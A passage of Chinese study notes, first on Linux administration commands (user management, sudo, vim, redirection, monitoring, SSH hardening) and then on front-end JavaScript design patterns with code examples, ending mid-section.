代码提交 -> 代码检查 -> 单元测试 -> 构建 -> 集成测试 -> 部署到测试环境 -> 验收测试 -> 部署到生产环境

最佳实践:

  • 快速反馈(失败快速)
  • 可重复的构建
  • 版本化构建产物
  • 自动化所有步骤
  • 监控和告警

十一、用户管理

161. Linux 用户管理

定义: Linux 是多用户系统,用户管理涉及创建、删除、修改用户和组。

用户类型:

  • root 用户:超级管理员(UID 0)
  • 系统用户:系统服务使用(UID 1-999)
  • 普通用户:日常使用(UID 1000+)

用户相关文件:

  • /etc/passwd:用户信息
  • /etc/shadow:密码信息(加密)
  • /etc/group:组信息
  • /etc/gshadow:组密码信息

162. useradd - 创建用户

定义: useradd 命令用于创建新用户。

useradd username                      # 创建用户
useradd -m username                   # 创建用户并创建主目录
useradd -s /bin/bash username         # 指定Shell
useradd -g group username             # 指定主组
useradd -G group1,group2 username     # 指定附加组
useradd -d /home/custom username      # 指定主目录

163. usermod - 修改用户

定义: usermod 命令用于修改用户属性。

usermod -l newname oldname            # 修改用户名
usermod -d /new/home -m username      # 修改主目录
usermod -s /bin/zsh username          # 修改Shell
usermod -aG sudo username             # 添加到组
usermod -L username                   # 锁定用户
usermod -U username                   # 解锁用户

164. userdel - 删除用户

定义: userdel 命令用于删除用户。

userdel username                      # 删除用户(保留主目录)
userdel -r username                   # 删除用户及其主目录

165. passwd - 修改密码

定义: passwd 命令用于修改用户密码。

passwd                                # 修改当前用户密码
passwd username                       # 修改指定用户密码(需要root)
passwd -d username                    # 删除密码
passwd -l username                    # 锁定用户
passwd -u username                    # 解锁用户

166. groupadd - 创建组

定义: groupadd 命令用于创建新组。

groupadd groupname                    # 创建组
groupadd -g 1001 groupname            # 指定GID

167. groupmod - 修改组

定义: groupmod 命令用于修改组属性。

groupmod -n newname oldname           # 修改组名
groupmod -g 1002 groupname            # 修改GID

168. groupdel - 删除组

定义: groupdel 命令用于删除组。

groupdel groupname                    # 删除组

169. su - 切换用户

定义: su (switch user) 命令用于切换用户。

su                                    # 切换到root
su username                           # 切换到指定用户
su - username                         # 切换并加载用户环境
su -c "command" username              # 以指定用户执行命令

170. sudo - 以管理员权限执行

定义: sudo (superuser do) 命令用于以 root 或其他用户权限执行命令。

sudo command                          # 以root执行命令
sudo -u username command              # 以指定用户执行
sudo -l                               # 查看权限
sudo -i                               # 切换到root Shell
sudo visudo                           # 编辑sudoers文件

配置: /etc/sudoers

username ALL=(ALL) ALL                # 允许用户执行所有命令
username ALL=(ALL) NOPASSWD: ALL      # 无需密码
%groupname ALL=(ALL) ALL              # 允许组内用户

十二、文本编辑命令

171. vim - 文本编辑器

定义: vim 是 Linux 下强大的文本编辑器。

三种模式:

  • 普通模式:默认模式,用于导航
  • 插入模式:编辑文本
  • 命令模式:执行命令

常用命令:

i       # 进入插入模式
ESC     # 返回普通模式
:w      # 保存
:q      # 退出
:q!     # 强制退出
:wq     # 保存并退出

导航:

h/j/k/l         # 左/下/上/右
0/$             # 行首/行尾
gg/G            # 文件开头/末尾
:n              # 跳转到第n行

编辑:

dd              # 删除行
yy              # 复制行
p               # 粘贴
u               # 撤销
Ctrl+r          # 重做

搜索:

/pattern        # 向下搜索
?pattern        # 向上搜索
n/N             # 下一个/上一个
:%s/old/new/g   # 全部替换

172. nano - 简单文本编辑器

定义: nano 是简单易用的终端文本编辑器。

常用快捷键:

Ctrl+O        # 保存
Ctrl+X        # 退出
Ctrl+W        # 搜索
Ctrl+K        # 剪切行
Ctrl+U        # 粘贴
Ctrl+6        # 复制

173. head/tail - 查看文件部分

定义: head 和 tail 用于查看文件的开头和结尾部分。

head -n 20 file.txt                 # 查看前20行
tail -n 20 file.txt                 # 查看后20行
tail -f file.log                    # 实时跟踪

十三、输入输出重定向和管道

174. 输入输出重定向

定义: 重定向用于改变命令的标准输入、标准输出和标准错误的流向。

标准流:

  • stdin (0):标准输入
  • stdout (1):标准输出
  • stderr (2):标准错误

输出重定向:

command > file.txt                  # 覆盖输出到文件
command >> file.txt                 # 追加输出到文件
command 2> error.txt                # 错误输出到文件
command > file.txt 2>&1             # 所有输出到文件
command &> file.txt                 # 简写(Bash)
command > /dev/null 2>&1            # 丢弃所有输出

输入重定向:

command < file.txt                  # 从文件读取输入
command << EOF                      # here document
line 1
line 2
EOF

175. 管道

定义: 管道 | 将前一个命令的标准输出连接到后一个命令的标准输入。

command1 | command2                 # 连接两个命令
command1 | command2 | command3      # 连接多个命令

示例:

ps aux | grep nginx | wc -l         # 统计nginx进程数
cat file.txt | sort | uniq -c       # 排序并统计
ls -l | awk '{print $5}' | paste -sd+ | bc  # 计算总大小

管道特性:

  • 数据流式传输(不需要临时文件)
  • 支持多个命令串联
  • 适合文本处理

最佳实践:

  • 结合 grep、awk、sed 处理文本
  • 使用 tee 同时输出到文件和终端
  • 避免过长的管道(复杂逻辑应使用脚本)

十四、系统理解

176. Linux 系统理解

定义: Linux 系统理解涉及操作系统架构、内核、发行版等核心概念。

系统架构:

应用程序
  ↓
Shell / 系统工具
  ↓
系统调用接口
  ↓
Linux 内核
  ↓
硬件

内核功能:

  • 进程管理
  • 内存管理
  • 文件系统
  • 设备驱动
  • 网络协议栈

发行版:

  • Debian/Ubuntu:apt 包管理
  • CentOS/RHEL:yum/dnf 包管理
  • Arch Linux:pacman 包管理
  • openSUSE:zypper 包管理

177. 系统性能监控

定义: 系统性能监控是跟踪和分析系统资源使用情况。

CPU 监控:

top                                 # 实时查看
vmstat 1                            # 每秒统计
mpstat                              # CPU详细统计

内存监控:

free -h                             # 查看内存使用
vmstat                              # 虚拟内存统计
cat /proc/meminfo                   # 详细信息

磁盘监控:

df -h                               # 磁盘使用
du -sh /path                        # 目录大小
iostat                              # I/O统计

网络监控:

netstat -s                          # 网络统计
iftop                               # 带宽监控
nethogs                             # 进程带宽

178. 系统启动流程

定义: Linux 启动流程是从开机到系统就绪的过程。

启动流程:

  1. BIOS/UEFI 初始化硬件
  2. 引导加载程序(GRUB)
  3. 加载内核
  4. 初始化 initramfs
  5. 启动 init 系统(systemd)
  6. 运行系统服务
  7. 显示登录界面

systemd 目标:

systemctl list-units --type=target  # 查看目标
systemctl get-default               # 查看默认目标
systemctl set-default multi-user.target  # 设置默认目标

常用目标:

  • multi-user.target:多用户命令行
  • graphical.target:图形界面
  • rescue.target:救援模式

179. 包管理

定义: 包管理是安装、更新、删除软件包的系统。

apt(Debian/Ubuntu):

apt update                          # 更新包列表
apt upgrade                         # 升级包
apt install package                 # 安装包
apt remove package                  # 卸载包
apt search package                  # 搜索包
apt list --installed                # 列出已安装包

yum/dnf(CentOS/RHEL):

yum update                          # 更新包
yum install package                 # 安装包
yum remove package                  # 卸载包
yum search package                  # 搜索包
yum list installed                  # 列出已安装包

180. 系统安全

定义: 系统安全是保护系统免受未授权访问和攻击。

安全措施:

  • 定期更新系统和软件
  • 配置防火墙
  • 使用 SSH 密钥认证
  • 禁用 root 远程登录
  • 最小权限原则
  • 定期备份
  • 监控日志
  • 使用 SELinux/AppArmor

SSH 安全配置:

/etc/ssh/sshd_config:
PermitRootLogin no                  # 禁止root登录
PasswordAuthentication no           # 禁用密码认证
Port 2222                           # 修改端口

附录:常用命令速查表

文件操作

命令 说明
ls 列出目录
cd 切换目录
pwd 显示当前目录
mkdir 创建目录
rm 删除文件/目录
cp 复制
mv 移动/重命名
touch 创建文件
cat 查看文件
less 分页查看

权限管理

命令 说明
chmod 修改权限
chown 修改所有者
chgrp 修改所属组

进程管理

命令 说明
ps 查看进程
top 实时监控
kill 终止进程
nohup 忽略挂起信号

网络命令

命令 说明
ping 测试连通性
ifconfig/ip 网络接口
netstat/ss 网络连接
curl HTTP客户端
wget 下载工具
ssh 远程登录
scp 安全复制

文本处理

命令 说明
grep 文本搜索
awk 文本处理
sed 流编辑
sort 排序
uniq 去重
wc 统计
cut 提取列

重新学习前端之设计模式与架构

设计模式与架构


一、设计模式

1. 什么是设计模式?设计模式基础

定义

设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它不是具体的代码,而是解决特定问题的通用方案。

原理

设计模式源于建筑领域,1994 年 GoF(四人帮)在《设计模式:可复用面向对象软件的基础》一书中首次系统化地提出 23 种设计模式。核心思想是抽象出共性问题的通用解决方案,提高代码的可复用性、可读性和可维护性。

分类

分类 说明 包含模式
创建型 关注对象的创建过程,将对象的创建与使用分离 单例、工厂方法、抽象工厂、建造者、原型
结构型 关注类和对象的组合,通过组合获得更大的结构 适配器、装饰器、代理、桥接、组合、外观、享元
行为型 关注对象间的通信和职责分配 观察者、策略、命令、状态、模板方法、责任链、中介者、备忘录、迭代器

示例

以一个简单的场景说明:假设需要创建不同类型的通知(邮件、短信、推送),如果不使用设计模式,代码可能是大量的 if-else,使用工厂模式后可以将创建逻辑集中管理。

代码示例

// 不使用设计模式
function sendNotification(type, message) {
  if (type === 'email') {
    // 发送邮件逻辑
  } else if (type === 'sms') {
    // 发送短信逻辑
  } else if (type === 'push') {
    // 发送推送逻辑
  }
}

// 使用工厂模式后
const notificationFactory = {
  email: () => new EmailNotification(),
  sms: () => new SmsNotification(),
  push: () => new PushNotification()
};

function sendNotification(type, message) {
  const notifier = notificationFactory[type]();
  notifier.send(message);
}

常见误区

  1. 设计模式不是银弹:不能生搬硬套,要根据实际场景选择
  2. 过度设计:简单问题用复杂模式反而增加复杂度
  3. 忽略语言特性:JavaScript 的函数式特性可以简化很多传统模式

2. 前端常见的设计模式有哪些及应用场景?

模式 应用场景 实际案例
单例模式 全局唯一实例 Vuex/Redux Store、路由实例、全局弹窗
工厂模式 创建同类型不同实例 创建不同类型的表单组件、创建不同类型的图表
观察者模式 一对多依赖关系 Vue 响应式系统、EventEmitter、DOM 事件
发布订阅模式 解耦的事件通信 跨组件通信、消息中间件、EventBus
策略模式 多种算法可替换 表单验证策略、支付策略、排序算法
代理模式 控制对象访问 Vue 3 响应式 Proxy、图片懒加载、API 代理
装饰器模式 动态增强功能 React 高阶组件、TypeScript 装饰器、函数增强
适配器模式 接口转换 统一不同第三方库的 API、旧接口兼容
模板方法模式 固定流程 表单提交流程、页面初始化流程
责任链模式 多级处理 中间件机制(Koa/Express)、权限校验链
建造者模式 复杂对象构建 表单构建器、图表配置构建
组合模式 树形结构 菜单组件、文件目录树、表单嵌套

3. 单例模式

定义

单例模式(Singleton Pattern)确保一个类只有一个实例,并提供一个全局访问点。

原理

通过私有化构造函数或使用闭包,控制实例的创建过程,保证只创建一个实例。

代码实现

// 方式一:使用闭包实现
class Singleton {
  constructor(name) {
    this.name = name;
    this.instance = null;
  }
  
  getName() {
    return this.name;
  }
  
  static getInstance(name) {
    if (!this.instance) {
      this.instance = new Singleton(name);
    }
    return this.instance;
  }
}

const s1 = Singleton.getInstance('singleton1');
const s2 = Singleton.getInstance('singleton2');
console.log(s1 === s2); // true,同一个实例

// 方式二:使用 ES6 私有字段
class Singleton2 {
  static #instance = null;
  
  constructor() {
    if (Singleton2.#instance) {
      return Singleton2.#instance;
    }
    Singleton2.#instance = this;
  }
  
  static getInstance() {
    return new Singleton2();
  }
}

// 方式三:惰性单例(按需创建)
const createLazySingleton = (fn) => {
  let instance = null;
  return (...args) => {
    if (!instance) {
      instance = fn.apply(this, args);
    }
    return instance;
  };
};

// 使用
const createModal = () => document.createElement('div');
const getModal = createLazySingleton(createModal);
const modal1 = getModal();
const modal2 = getModal();
console.log(modal1 === modal2); // true

应用场景

  1. 全局状态管理:Vuex Store、Redux Store
  2. 全局弹窗/提示:确保同一时间只有一个弹窗实例
  3. 路由实例:Vue Router、React Router 单例
  4. 工具类实例:日志记录器、配置管理器

注意事项

  • 线程安全:JavaScript 是单线程,不存在线程安全问题
  • 测试困难:全局状态可能影响单元测试的隔离性
  • 内存泄漏:单例不会自动释放,需要注意清理

4. 工厂模式

简单工厂

定义:定义一个工厂函数/对象,根据传入的参数决定创建哪种类型的产品。

// 简单工厂
class Notification {
  send() {}
}

class EmailNotification extends Notification {
  send(msg) { console.log('发送邮件:', msg); }
}

class SmsNotification extends Notification {
  send(msg) { console.log('发送短信:', msg); }
}

class PushNotification extends Notification {
  send(msg) { console.log('发送推送:', msg); }
}

// 工厂函数
function createNotification(type) {
  const types = {
    email: EmailNotification,
    sms: SmsNotification,
    push: PushNotification
  };
  
  if (!types[type]) throw new Error('未知的通知类型');
  return new types[type]();
}

const email = createNotification('email');
email.send('Hello');

缺点:新增类型需要修改工厂函数,违反开闭原则。


工厂方法

定义:将对象的创建延迟到子类中,每个子类决定实例化哪个类。

// 工厂方法模式
class NotificationFactory {
  create() {
    throw new Error('子类必须实现此方法');
  }
  
  send(msg) {
    const notification = this.create();
    notification.send(msg);
  }
}

class EmailFactory extends NotificationFactory {
  create() { return new EmailNotification(); }
}

class SmsFactory extends NotificationFactory {
  create() { return new SmsNotification(); }
}

// 使用
const emailFactory = new EmailFactory();
emailFactory.send('Hello'); // 发送邮件: Hello

优点:符合开闭原则,新增类型只需新增工厂类。


抽象工厂

定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。

// 抽象工厂:创建一组相关的 UI 组件
class UIFactory {
  createButton() { throw new Error('抽象方法'); }
  createInput() { throw new Error('抽象方法'); }
}

class WindowsUIFactory extends UIFactory {
  createButton() { return new WindowsButton(); }
  createInput() { return new WindowsInput(); }
}

class MacUIFactory extends UIFactory {
  createButton() { return new MacButton(); }
  createInput() { return new MacInput(); }
}

class WindowsButton { render() { return '<button class="win-btn"></button>'; } }
class MacButton { render() { return '<button class="mac-btn"></button>'; } }
class WindowsInput { render() { return '<input class="win-input"/>'; } }
class MacInput { render() { return '<input class="mac-input"/>'; } }

// 使用
const factory = new WindowsUIFactory();
const btn = factory.createButton();
console.log(btn.render()); // <button class="win-btn"></button>

三种工厂对比

维度 简单工厂 工厂方法 抽象工厂
结构复杂度
扩展性 差(修改工厂类) 好(新增工厂类) 好(新增工厂族)
适用场景 产品类型少 单一产品族 多个产品族
开闭原则 违反 符合 符合

选择策略

  • 产品类型固定且少 → 简单工厂
  • 需要扩展新产品类型 → 工厂方法
  • 需要创建一组相关产品 → 抽象工厂

5. 观察者模式

定义

观察者模式(Observer Pattern)定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。当主题对象状态发生变化时,会通知所有观察者。

原理

主题(Subject)维护一个观察者列表,当状态变化时遍历列表调用每个观察者的更新方法。

代码实现

class Subject {
  constructor() {
    this.observers = [];
  }
  
  subscribe(observer) {
    this.observers.push(observer);
  }
  
  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  constructor(name) {
    this.name = name;
  }
  
  update(data) {
    console.log(`${this.name} 收到通知:`, data);
  }
}

// 使用
const subject = new Subject();
const observer1 = new Observer('观察者A');
const observer2 = new Observer('观察者B');

subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('数据更新');
// 观察者A 收到通知: 数据更新
// 观察者B 收到通知: 数据更新

subject.unsubscribe(observer1);
subject.notify('再次更新');
// 只有观察者B 收到通知

Vue 响应式中的应用

// Vue 2 响应式原理简化版
function defineReactive(obj, key, val) {
  const dep = []; // 观察者列表
  
  Object.defineProperty(obj, key, {
    get() {
      // 收集依赖
      if (Dep.target && !dep.includes(Dep.target)) {
        dep.push(Dep.target);
      }
      return val;
    },
    set(newVal) {
      if (newVal !== val) {
        val = newVal;
        // 通知所有观察者
        dep.forEach(watcher => watcher.update());
      }
    }
  });
}

6. 发布订阅模式

定义

发布订阅模式(Pub-Sub Pattern)通过一个事件中心来解耦发布者和订阅者。发布者不直接通知订阅者,而是通过事件中心转发消息。

代码实现

class EventEmitter {
  constructor() {
    this.events = {};
  }
  
  on(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
    return this; // 链式调用
  }
  
  off(event, callback) {
    if (!this.events[event]) return this;
    if (!callback) {
      delete this.events[event];
    } else {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
    return this;
  }
  
  emit(event, ...args) {
    if (!this.events[event]) return this;
    this.events[event].forEach(callback => callback.apply(this, args));
    return this;
  }
  
  once(event, callback) {
    const wrapper = (...args) => {
      callback.apply(this, args);
      this.off(event, wrapper);
    };
    this.on(event, wrapper);
    return this;
  }
}

// 使用
const bus = new EventEmitter();

bus.on('login', (user) => {
  console.log('用户登录:', user.name);
});

bus.on('login', (user) => {
  console.log('发送欢迎邮件给:', user.name);
});

bus.emit('login', { name: '张三' });
// 用户登录: 张三
// 发送欢迎邮件给: 张三

7. 观察者模式与发布订阅模式的区别

维度 观察者模式 发布订阅模式
耦合度 主题和观察者直接耦合 通过事件中心解耦
结构 主题知道观察者的存在 发布者和订阅者互不知道
通信方式 直接调用 update() 通过事件中心转发
灵活性 较低,关系固定 较高,动态订阅/取消
典型应用 Vue 响应式、DOM 事件 EventBus、Node.js EventEmitter

选择策略

  • 需要紧密耦合、直接通知 → 观察者模式
  • 需要解耦、灵活的事件通信 → 发布订阅模式

8. 策略模式

定义

策略模式(Strategy Pattern)定义一系列算法,将它们封装起来,使它们可以相互替换。

代码实现

// 策略对象
const discountStrategies = {
  normal(price) { return price; },
  vip(price) { return price * 0.9; },
  svip(price) { return price * 0.7; },
  flashSale(price) { return price * 0.5; }
};

// 上下文
class PriceCalculator {
  constructor(strategy) {
    this.strategy = strategy;
  }
  
  calculate(price) {
    return this.strategy(price);
  }
  
  setStrategy(strategy) {
    this.strategy = strategy;
  }
}

// 使用
const calculator = new PriceCalculator(discountStrategies.normal);
console.log(calculator.calculate(100)); // 100

calculator.setStrategy(discountStrategies.vip);
console.log(calculator.calculate(100)); // 90

calculator.setStrategy(discountStrategies.flashSale);
console.log(calculator.calculate(100)); // 50

实战应用:表单验证

const validators = {
  required: (value) => value ? '' : '不能为空',
  minLength: (value, min) => 
    value.length >= min ? '' : `最少需要${min}个字符`,
  isEmail: (value) => 
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? '' : '邮箱格式不正确',
  isPhone: (value) => 
    /^1[3-9]\d{9}$/.test(value) ? '' : '手机号格式不正确'
};

function validate(rules, value) {
  for (const rule of rules) {
    const { type, ...params } = rule;
    const error = validators[type](value, ...Object.values(params));
    if (error) return error;
  }
  return '';
}

// 使用
const rules = [
  { type: 'required' },
  { type: 'minLength', min: 6 },
  { type: 'isEmail' }
];

console.log(validate(rules, ''));        // 不能为空
console.log(validate(rules, 'abc'));     // 最少需要6个字符
console.log(validate(rules, 'abc@'));    // 邮箱格式不正确
console.log(validate(rules, 'a@b.com')); // '' 通过验证

优点

  • 避免大量 if-elseswitch
  • 算法可独立变化,符合开闭原则
  • 运行时可切换策略

9. 代理模式

定义

代理模式(Proxy Pattern)为其他对象提供一个代理以控制对这个对象的访问。

代码实现

// 方式一:函数代理
function createProxy(target) {
  return new Proxy(target, {
    get(obj, prop) {
      console.log(`访问属性: ${prop}`);
      return prop in obj ? obj[prop] : undefined;
    },
    set(obj, prop, value) {
      console.log(`设置属性: ${prop} = ${value}`);
      obj[prop] = value;
      return true;
    }
  });
}

const user = createProxy({ name: '张三', age: 25 });
console.log(user.name); // 访问属性: name \n 张三
user.age = 26;          // 设置属性: age = 26

// 方式二:图片懒加载代理
class RealImage {
  constructor(src) {
    this.src = src;
    this.load();
  }
  load() { console.log('加载图片:', this.src); }
  display() { console.log('显示图片:', this.src); }
}

class ProxyImage {
  constructor(src) {
    this.src = src;
    this.realImage = null;
  }
  display() {
    if (!this.realImage) {
      this.realImage = new RealImage(this.src);
    }
    this.realImage.display();
  }
}

// 方式三:API 缓存代理
function createApiProxy(apiFn) {
  const cache = {};
  return async (...args) => {
    const key = JSON.stringify(args);
    if (cache[key]) {
      console.log('使用缓存');
      return cache[key];
    }
    const result = await apiFn(...args);
    cache[key] = result;
    return result;
  };
}

应用场景

  1. Vue 3 响应式:使用 Proxy 实现数据劫持
  2. 图片懒加载:延迟加载大图片
  3. API 缓存:缓存请求结果
  4. 访问控制:权限校验代理
  5. 日志记录:记录属性访问

10. 装饰器模式

定义

装饰器模式(Decorator Pattern)在不改变原对象的基础上,通过对其进行包装扩展,动态地给对象添加职责。

代码实现

// 函数装饰器
function withLog(target) {
  return function(...args) {
    console.log('调用前:', args);
    const result = target.apply(this, args);
    console.log('调用后:', result);
    return result;
  };
}

function add(a, b) { return a + b; }
const addWithLog = withLog(add);
addWithLog(1, 2);
// 调用前: [1, 2]
// 调用后: 3

// 类方法装饰器(TypeScript 风格)
function readonly(target, key, descriptor) {
  descriptor.writable = false;
  return descriptor;
}

// 组合装饰
function withCache(ttl = 5000) {
  const cache = {};
  return function(target) {
    return function(...args) {
      const key = JSON.stringify(args);
      if (cache[key] && Date.now() - cache[key].time < ttl) {
        return cache[key].data;
      }
      const result = target.apply(this, args);
      cache[key] = { data: result, time: Date.now() };
      return result;
    };
  };
}

const expensiveCalc = (x) => {
  console.log('计算中...');
  return x * x;
};
const cachedCalc = withCache(3000)(expensiveCalc);

React 高阶组件(HOC)

function withLoading(WrappedComponent) {
  return function WithLoadingComponent({ isLoading, ...props }) {
    if (isLoading) return <div>Loading...</div>;
    return <WrappedComponent {...props} />;
  };
}

// 使用
const EnhancedComponent = withLoading(MyComponent);

11. 适配器模式

定义

适配器模式(Adapter Pattern)将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而不能一起工作的类可以一起工作。

代码实现

// 旧版 API
class OldMapService {
  getLocations() {
    return [
      { lat: 39.9, lon: 116.4, name: '北京' },
      { lat: 31.2, lon: 121.5, name: '上海' }
    ];
  }
}

// 新版需要格式:{ latitude, longitude, title }
class MapAdapter {
  constructor(oldService) {
    this.oldService = oldService;
  }
  
  getLocations() {
    const data = this.oldService.getLocations();
    return data.map(item => ({
      latitude: item.lat,
      longitude: item.lon,
      title: item.name
    }));
  }
}

// 使用
const oldService = new OldMapService();
const adapter = new MapAdapter(oldService);
console.log(adapter.getLocations());
// [{ latitude: 39.9, longitude: 116.4, title: '北京' }, ...]

// Axios 适配器示例
function axiosAdapter(config) {
  if (typeof config.adapter === 'function') {
    return config.adapter(config);
  }
  // 默认使用 XHR 或 fetch
  return fetch(config.url, {
    method: config.method,
    headers: config.headers,
    body: config.data
  });
}

应用场景

  1. 新旧 API 兼容
  2. 第三方库接口统一
  3. 数据格式转换

12. 外观模式

定义

外观模式(Facade Pattern)为子系统中的一组接口提供一个一致的界面,定义一个高层接口,使得子系统更加容易使用。

代码实现

// 子系统
class CPU {
  start() { console.log('CPU 启动'); }
  execute() { console.log('CPU 执行'); }
}

class Memory {
  load() { console.log('内存加载数据'); }
  free() { console.log('内存释放'); }
}

class Disk {
  read() { console.log('磁盘读取'); }
  write() { console.log('磁盘写入'); }
}

// 外观类
class ComputerFacade {
  constructor() {
    this.cpu = new CPU();
    this.memory = new Memory();
    this.disk = new Disk();
  }
  
  start() {
    console.log('=== 电脑启动 ===');
    this.cpu.start();
    this.memory.load();
    this.disk.read();
    this.cpu.execute();
  }
  
  shutdown() {
    console.log('=== 电脑关机 ===');
    this.disk.write();
    this.memory.free();
    this.cpu.execute();
  }
}

// 使用
const computer = new ComputerFacade();
computer.start();
// === 电脑启动 ===
// CPU 启动
// 内存加载数据
// 磁盘读取
// CPU 执行

前端应用

// jQuery 就是典型的 Facade
// $('#id').show() 背后封装了 DOM 操作、样式处理、动画等复杂逻辑

// DOM 操作外观
const DOM = {
  get(selector) { return document.querySelector(selector); },
  show(el) { el.style.display = 'block'; },
  hide(el) { el.style.display = 'none'; },
  on(el, event, handler) { el.addEventListener(event, handler); },
  html(el, content) { el.innerHTML = content; }
};

13. 命令模式

定义

命令模式(Command Pattern)将请求封装为对象,从而可以用不同的请求对客户进行参数化。

代码实现

class Command {
  execute() {}
  undo() {}
}

class LightOnCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.on(); }
  undo() { this.light.off(); }
}

class LightOffCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.off(); }
  undo() { this.light.on(); }
}

class Light {
  on() { console.log('灯亮了'); }
  off() { console.log('灯灭了'); }
}

class RemoteControl {
  constructor() {
    this.commands = [];
    this.history = [];
  }
  
  setCommand(index, command) {
    this.commands[index] = command;
  }
  
  pressButton(index) {
    if (this.commands[index]) {
      this.commands[index].execute();
      this.history.push(this.commands[index]);
    }
  }
  
  undo() {
    if (this.history.length > 0) {
      const lastCommand = this.history.pop();
      lastCommand.undo();
    }
  }
}

// 使用
const light = new Light();
const remote = new RemoteControl();
remote.setCommand(0, new LightOnCommand(light));
remote.setCommand(1, new LightOffCommand(light));
remote.pressButton(0); // 灯亮了
remote.pressButton(1); // 灯灭了
remote.undo();          // 灯亮了

前端应用:撤销/重做

class CommandManager {
  constructor() {
    this.undoStack = [];
    this.redoStack = [];
  }
  
  execute(command) {
    command.execute();
    this.undoStack.push(command);
    this.redoStack = [];
  }
  
  undo() {
    if (this.undoStack.length === 0) return;
    const command = this.undoStack.pop();
    command.undo();
    this.redoStack.push(command);
  }
  
  redo() {
    if (this.redoStack.length === 0) return;
    const command = this.redoStack.pop();
    command.execute();
    this.undoStack.push(command);
  }
}

14. 迭代器模式

定义

迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素,而不暴露其内部表示。

代码实现

// 自定义迭代器
class BookCollection {
  constructor() {
    this.books = [];
  }
  
  addBook(book) {
    this.books.push(book);
  }
  
  [Symbol.iterator]() {
    let index = 0;
    const books = this.books;
    return {
      next() {
        if (index < books.length) {
          return { value: books[index++], done: false };
        }
        return { value: undefined, done: true };
      }
    };
  }
}

// 使用
const collection = new BookCollection();
collection.addBook('JavaScript 高级程序设计');
collection.addBook('设计模式');
collection.addBook('算法导论');

for (const book of collection) {
  console.log(book);
}

// 自定义迭代器:有限迭代
function createLimitedIterator(array, limit) {
  let index = 0;
  return {
    [Symbol.iterator]() {
      return {
        next() {
          if (index < array.length && index < limit) {
            return { value: array[index++], done: false };
          }
          return { done: true };
        }
      };
    }
  };
}

15. 中介者模式

定义

中介者模式(Mediator Pattern)用一个中介对象来封装一系列的对象交互,使各个对象不需要显式地相互引用。

代码实现

class ChatRoom {
  constructor() {
    this.users = [];
  }
  
  addUser(user) {
    this.users.push(user);
    user.setMediator(this);
  }
  
  sendMessage(message, sender) {
    this.users
      .filter(user => user !== sender)
      .forEach(user => user.receiveMessage(message, sender));
  }
}

class User {
  constructor(name) {
    this.name = name;
    this.mediator = null;
  }
  
  setMediator(mediator) {
    this.mediator = mediator;
  }
  
  sendMessage(message) {
    console.log(`${this.name} 发送: ${message}`);
    this.mediator.sendMessage(message, this);
  }
  
  receiveMessage(message, sender) {
    console.log(`${this.name} 收到 ${sender.name}: ${message}`);
  }
}

// 使用
const room = new ChatRoom();
const alice = new User('Alice');
const bob = new User('Bob');
const charlie = new User('Charlie');

room.addUser(alice);
room.addUser(bob);
room.addUser(charlie);

alice.sendMessage('大家好!');
// Alice 发送: 大家好!
// Bob 收到 Alice: 大家好!
// Charlie 收到 Alice: 大家好!

应用场景

  1. 聊天室系统
  2. 表单组件联动
  3. 多个模块间的解耦

16. 备忘录模式

定义

备忘录模式(Memento Pattern)在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。

代码实现

class Memento {
  constructor(state) {
    this.state = state;
  }
  getState() { return this.state; }
}

class Editor {
  constructor() {
    this.content = '';
  }
  
  type(text) {
    this.content += text;
  }
  
  getContent() { return this.content; }
  
  save() {
    return new Memento(this.content);
  }
  
  restore(memento) {
    this.content = memento.getState();
  }
}

class History {
  constructor() {
    this.mementos = [];
  }
  
  push(memento) {
    this.mementos.push(memento);
  }
  
  pop() {
    return this.mementos.pop();
  }
}

// 使用
const editor = new Editor();
const history = new History();

editor.type('第');
history.push(editor.save());

editor.type('一');
history.push(editor.save());

editor.type('行');
console.log(editor.getContent()); // 第一行

editor.restore(history.pop());
console.log(editor.getContent()); // 第一

editor.restore(history.pop());
console.log(editor.getContent()); // 第

17. 状态模式

定义

状态模式(State Pattern)允许一个对象在其内部状态改变时改变它的行为。

代码实现

class State {
  constructor(name) { this.name = name; }
  handle(context) { throw new Error('抽象方法'); }
}

class OpenState extends State {
  constructor() { super('open'); }
  handle(context) {
    console.log('门已打开');
    context.setState(new ClosedState());
  }
}

class ClosedState extends State {
  constructor() { super('closed'); }
  handle(context) {
    console.log('门已关闭');
    context.setState(new LockedState());
  }
}

class LockedState extends State {
  constructor() { super('locked'); }
  handle(context) {
    console.log('门已锁定');
    context.setState(new OpenState());
  }
}

class Door {
  constructor() {
    this.state = new ClosedState();
  }
  
  setState(state) {
    this.state = state;
  }
  
  press() {
    this.state.handle(this);
  }
  
  getState() { return this.state.name; }
}

// 使用
const door = new Door();
door.press(); // 门已关闭
door.press(); // 门已锁定
door.press(); // 门已打开

// 实际应用:订单状态
const orderStates = {
  pending: {
    next: 'paid',
    actions: { pay: () => '付款' }
  },
  paid: {
    next: 'shipped',
    actions: { ship: () => '发货' }
  },
  shipped: {
    next: 'delivered',
    actions: { deliver: () => '签收' }
  },
  delivered: {
    next: null,
    actions: {}
  }
};

class Order {
  constructor() { this.state = 'pending'; }
  
  transition(action) {
    const currentState = orderStates[this.state];
    if (currentState.actions[action]) {
      console.log(currentState.actions[action]());
      if (currentState.next) {
        this.state = currentState.next;
        console.log(`订单状态变更为: ${this.state}`);
      }
    } else {
      console.log(`当前状态不能执行 ${action}`);
    }
  }
}

18. 模板方法模式

定义

模板方法模式(Template Method Pattern)定义一个操作中的算法骨架,将某些步骤延迟到子类中实现。

代码实现

class Beverage {
  // 模板方法
  prepare() {
    this.boilWater();
    this.brew();
    this.pourInCup();
    this.addCondiments();
  }
  
